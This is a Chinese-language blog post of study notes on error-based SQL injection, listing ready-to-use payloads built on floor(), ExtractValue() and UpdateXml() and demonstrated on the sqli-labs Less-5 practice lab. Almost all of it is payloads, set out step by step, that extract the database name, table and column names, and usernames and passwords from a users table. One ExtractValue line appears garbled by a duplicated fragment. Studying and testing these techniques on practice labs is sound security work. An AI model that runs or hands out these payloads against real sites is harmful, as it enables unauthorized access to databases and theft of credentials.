首页 > 技术文章 > SQL报错常见的注入姿势

Lee-404 2020-05-07 22:17 原文

写在前面

  又是填坑的一篇姿势总结文,先介绍floor()、ExtractValue()、UpdateXml(),剩下的报错我目前还没遇到过(可能是太菜)可以用sqli-libs Less5来演示

   姿势汇总 https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

floor()

 ExtractValue

  UpdateXml

 

SQL报错注入

  一般的在页面有报错信息但没显位的时候有报错时候使用,它的特点是注入速度快,但是语句较复杂,不能用group_concat(),只能用limit依次猜解,

  这种前三步和正常的一样,但当页面无回显注入数据只显示SQL报错信息时候就可以尝试利用

 

floor()

  公式

#库名
AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(DATABASE() AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=DATABASE() LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) --+

#表名
AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(group_concat(table_name)AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=‘security’ LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) --+

# 列名
AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(group_concat(column_name)AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_name = 'users' and table_schema = 'security' LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) --+ 

#数据
#(这个构造数据只能一个一个爆出来,通过limit函数控制)
AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(password) AS CHAR),0x7e)) FROM security.users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) --+(这个构造数据只能一个一个爆出来,通过limit函数控制)

 

ExtractValue

  公式

#库名
' and extractvalue(1, concat(0x5c, 1' and extractvalue(1, concat(0x5c,database()));--+

#表名 ' and extractvalue(1,concat(0x7e,(select group_concat( table_name) from information_schema.tables where table_schema='security'),0x7e)) --+

#
列名
' and extractvalue(1,concat(0x7e,(select group_concat( column_name) from information_schema.columns where table_name='users'),0x7e)) --+
#字段值
' and extractvalue(1,concat(0x7e,(select group_concat(id,username,password) from security.users ),0x7e)) --+

 

UpdateXml

公式

#库名
'
and 1=(updatexml(1,concat(0x3a,(select database())),1)) --+

#表名
' and 1=(updatexml(1,concat(0x3a,(select group_concat( table_name) from information_schema.tables where table_schema='security')),1)) --+

#字段名
' and 1=(updatexml(1,concat(0x3a,(select group_concat( column_name) from information_schema.columns where table_name='users')),1)) --+

#字段值
' and 1=(updatexml(1,concat(0x3a,(select group_concat(id,username,password) from security.users )),1)) --+

  

  常见的就这3种,其他的我目前没见过(可能太菜),后续遇见会再更新

 

参考链接

https://blog.csdn.net/bangyan3903/article/details/101788019

https://blog.csdn.net/weixin_30852451/article/details/98668307

推荐阅读